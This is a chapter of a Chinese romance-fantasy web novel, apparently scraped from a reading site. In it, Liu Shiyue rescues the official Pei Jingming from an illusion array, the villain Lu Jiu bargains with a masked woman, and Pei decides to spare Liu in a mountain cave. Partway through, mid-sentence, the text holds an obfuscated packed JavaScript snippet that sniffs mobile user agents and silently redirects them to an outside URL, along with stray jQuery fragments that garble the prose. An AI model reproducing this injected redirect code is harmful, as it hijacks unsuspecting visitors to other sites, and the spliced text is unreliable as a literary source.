9. 灵溪幻境5

作品:《小女不才,掐指一算

    刺鼻的味道,混着一股鱼腥和马尿味。


    裴景明神志回笼,发现四周不再是压抑的冰冷和血红。


    脸上传来温热丝滑的触感,他下意识低头迎合,正好与踮脚的姑娘四目相对——


    清澈的,明亮的。


    像他在青衣司的牢狱里,偶尔透过窗栏窥见的天光。


    他下意识想贴近,像小时候那样。


    直到近到能看见她脸上细小的茸毛,能闻到她衣领上淡淡的青草香……


    柳拾月拿着帕子的手一顿。


    “不好意思啊大人!”


    她立刻向后退开,指指他的脸:


    “情势所迫,我只能用这土方子,委屈你了!”


    光骤然离开,却拉回了裴景明的理智,他想起这是灵溪镇,知道方才一切都只是阵法造成的幻境。


    虽是幻境,却是他亲身经历,也是他最想要埋葬的过往……


    等等。


    裴景明看向一旁的柳拾月——


    她什么时候来的?在这儿多久了?有没有……看到什么?


    霎那间,惶恐如潮水般席卷而来,淹没了所有一切,裴景明只能听到自己的心跳声,一下一下,如雷击鼓。


    “你……”


    他想问她都看到了什么,却如鲠在喉。


    看到又怎么了呢,总之是这世上又多了一个避他如蛇蝎的人罢了,多一个不多,少一个不少。


    柳拾月不知道这短短几秒,裴景明的内心经历了怎样丰富的波动,她一心记着时辰,开口催促:


    “我以沙石为介,在西北方向开了一道阵门,阵门开启时间有限,快走吧!”


    “嗯……”


    裴景明不作任何思考地应着,欲跟上柳拾月,却在抬脚瞬间感到一阵天旋地转——


    柳拾月走了两步,听到身后没动静,警觉转头,正好看见裴景明吐出一口血,跪在地上——


    “大人!”


    她跑过去扶住他:“你怎么了?”


    “没……”裴景明想说话,嘴一张却是又吐出一口黑血,连带着人一歪,整个上半身都栽在柳拾月怀里,压得她坐在地上。


    柳拾月不知他怎么突然变成这样,连忙替他拍背顺气:“没事没事,应是在幻境中耗费了太多心神,吃颗补丹就好了……”


    她腾出一只手,掏出个小瓶子,倒出一颗棕色的药丸,喂男人服下。


    等了会,裴景明似乎清醒了点,挣扎起身,跟柳拾月拉开一些距离:“走罢……”


    柳拾月看着男人撑着铁剑的身影,明明站都站不稳,还是不肯露出一丝脆弱。


    她想到方才看到的幻境——


    可不是她故意看的,只是她赶到时他已深陷其中,她怕贸然打断会让他走火入魔,只能在一旁等待时机,因而看到了全部。


    看到那片血色中,他持剑而立,往哪里迈步都是深渊……


    “柳拾月。”


    男人的声音响起,带着隐隐的催促。


    “……来了!”柳拾月跑到他前面,小声嘀咕,“自己都走这么慢,就别催别人了……”


    她能理解他,可理解不是同情,也不代表她会那么轻易原谅他之前近似恐吓的威胁。


    他们现在,至多算同路人罢。


    ·


    徐州城郊,福来客栈。


    赤衣黑靴的瘦高男子推门而入,扔给小二一两银子:“天字一号间,檀公子的约。”


    “好嘞客官!走廊尽头上楼梯,三楼左转第三间房!”


    “……”


    雅间门口推开,站在窗边的黑衣女人转身,对陆九笑:“先生让我好等。”


    “别戴着那破面具跟我笑,瘆得慌。”


    陆九语气有些冲。


    那女人却毫不在意,径直走到桌边坐下:“圣人交代的事,先生办得怎么样了?”


    “……”陆九咬牙,“被紫衣司的坏了事。”


    “紫衣司?”女人轻笑,“皇帝的爪牙,是不好对付……这么说来,那样东西,先生是拿不出来了?”


    陆九沉默。


    “看来,我们与先生的交易要作废了。”


    女人语气满是遗憾。


    “哐当——”


    东西砸在桌上的声音。


    女人定睛一瞧,眼里闪过一丝兴味:“先生从何处得来这个宝贝?”


    “那人身上扒下来的,”陆九看着她,“如此,可还能继续?”


    “……自然是能的,先生可是帮了我们大忙呢,”女人将那牌子收入怀里,“只是那东西……”


    陆九:“那东西我自有其他法子,耽误不了你家主子的计划。”


    “那再好不过了,”女人呵呵笑起来,“先生慢走。”


    陆九转身离开,临到门口,他又回头道:“下次别用这种命令的语气跟我说话,要记着,是你们求我办事。”


    “……怎么是我们求您呢,”


    女人起身,走到陆九面前。


    “先生亦有所求,我们是公平交易,各取所需。”


    “先生是天才,脾性古怪圣人能理解,”


    “可若过了头,便成了不识好歹,先生觉得呢?”


    “……”


    陆九看着面具后面那双狭长妩媚的眼,冷哼一声,拂袖离去。


    行至台阶时,他扯掉了黑色手套,露出那双瘦骨嶙峋的手,上面的皮肤都变成了透明,其下青红相交的血管清晰可见……


    都是那个该死的紫衣卫!若不是他临到头冲出来,东西便成了!如今一切努力都付诸东流,还要看那些该死的人的脸色行事!


    还好,他过不了多久便会死了……


    陆九又想起柳拾月正气十足地拦在自己身前的模样,嘴角勾出一抹冷笑。


    那个小师妹,这么多年不见,还真是有些长进,竟跟紫衣司的扯在了一起,还破了狐妖案,间接捣毁了他的计划,若不是看在师父的份上,方才他就……


    罢了,反正她也解不开灵溪镇的阵法,即便侥幸逃出,也救不了那个男人。


    如此没用的师妹,师父却还总偏向她!


    陆九眼里一片晦暗,清瘦的身形消失在人群中。


    ·


    夜,灵溪峰的一处山洞内,裴景明靠在火堆旁休息。


    晌午从幻境中出来后,他便一直觉得头脑发晕,浑身无力,原先打算今天走出这片山林,如今看来却是不得不在此露宿一夜了。


    柳拾月去林中抓山鸡,偌大的洞中除了火星子劈里啪啦溅在地上的声音,再无别的响动。


    裴景明有心去想灵溪镇一事的始末,可他现在,满脑子都是柳拾月——


    他全然没办法思考,因为被人看到了最难堪的过往,那


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15070278|163169||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    种赤裸裸呈现在人前的恐惧吞噬了他所有神思。


    仅剩的一丝理智告诉他,柳拾月留不得。


    她知道自己晕血,又看到了紫衣司的秘密,还……她知道的太多了,嘴上又没个把门,说不准哪天被有心人一套,便全盘托出了。


    可是……


    炭火簇簇,映出男人眼中的挣扎。


    洞外传来山鸡的啼叫和姑娘絮絮叨叨的说话声——


    “乖,别叫,要是把什么猛兽叫来就糟了……”


    “乖了乖了,我们不吃你……再叫一个试试!”


    “你现在乖乖听话,姐姐宰你的时候手会快些,让你少受些痛苦……”


    “……”


    真是个没心没肺的傻姑娘。


    裴景明垂眸。


    做人若是能像她这般,倒也不失为一种快活……


    算了。


    算上此次,她已救他两次了,他不能前脚刚说补偿后脚就要杀她。


    即使他手上人命无数,不在乎多她这一个,他还是不想。


    就当是为了那可笑的正义罢!


    裴景明自嘲般勾起嘴角——


    即便他现在的所作所为,与正义毫无干系……


    柳拾月钻进来,正巧看见男人变幻莫测的神情。


    “……”她扬起笑脸,邀功似的拎起山鸡,“大人看我抓到了什么好东西!”


    “……真厉害。”裴景明被她看着,象征性地夸了一句。


    柳拾月行走江湖多年,生存技能可谓十分纯熟,几下便清理了山鸡,用树杈架起来,放在火堆上。


    不一会儿,烤肉的香气便填满了整个山洞。


    “大人平时在野外会吃什么?”


    柳拾月随口问道。


    火光将姑娘的面容描摹得格外清晰,裴景明看着那明媚的笑脸,觉得身上也暖了些。


    “……什么都吃,馒头大饼,有时也会猎些野味。”


    “野味?”柳拾月好奇,想都没想就脱口而出,“大人不是晕血?怎么杀鸡?”


    话音落下才觉不妥,小心瞄了眼裴景明的神色,见他没甚反应,脸色也因为心神损耗而略显疲惫……


    总之看上去没什么杀伤力。


    柳拾月胆子大起来,又问了一遍:“大人晕血,是怎么猎野味的啊?”


    “……”


    裴景明睨她一眼,淡淡解释:“猎杀野味不会有多少血迹,零星几点,忍忍还是受得了的。”


    柳拾月:“那人呢?”


    “人?”


    柳拾月点头,满脸的求知欲。


    裴景明才发现,从方才起就一直萦绕在心头的,那种秘密被人窥见的焦躁不安,不知何时已渐渐淡去,他看着她,突然产生了一种,想逗逗她的想法——


    “真想知道?”


    “嗯嗯。”


    他冲她招手。


    柳拾月放下鸡腿,乖乖凑过去。


    “我杀人,有一千种不见血的法子……”


    他突然伸手,勾住她的脖子,压向自己——


    “你想试试吗?”


    宽大的手掌带着薄茧,按在柳拾月的后脖颈上,刺得她浑身一激灵!


    她猛地弹开,双手交叠在胸前,呈防御姿态:“不想!!”


    “……”裴景明扯了扯嘴角,理正衣襟,“鸡腿烤好了吗?”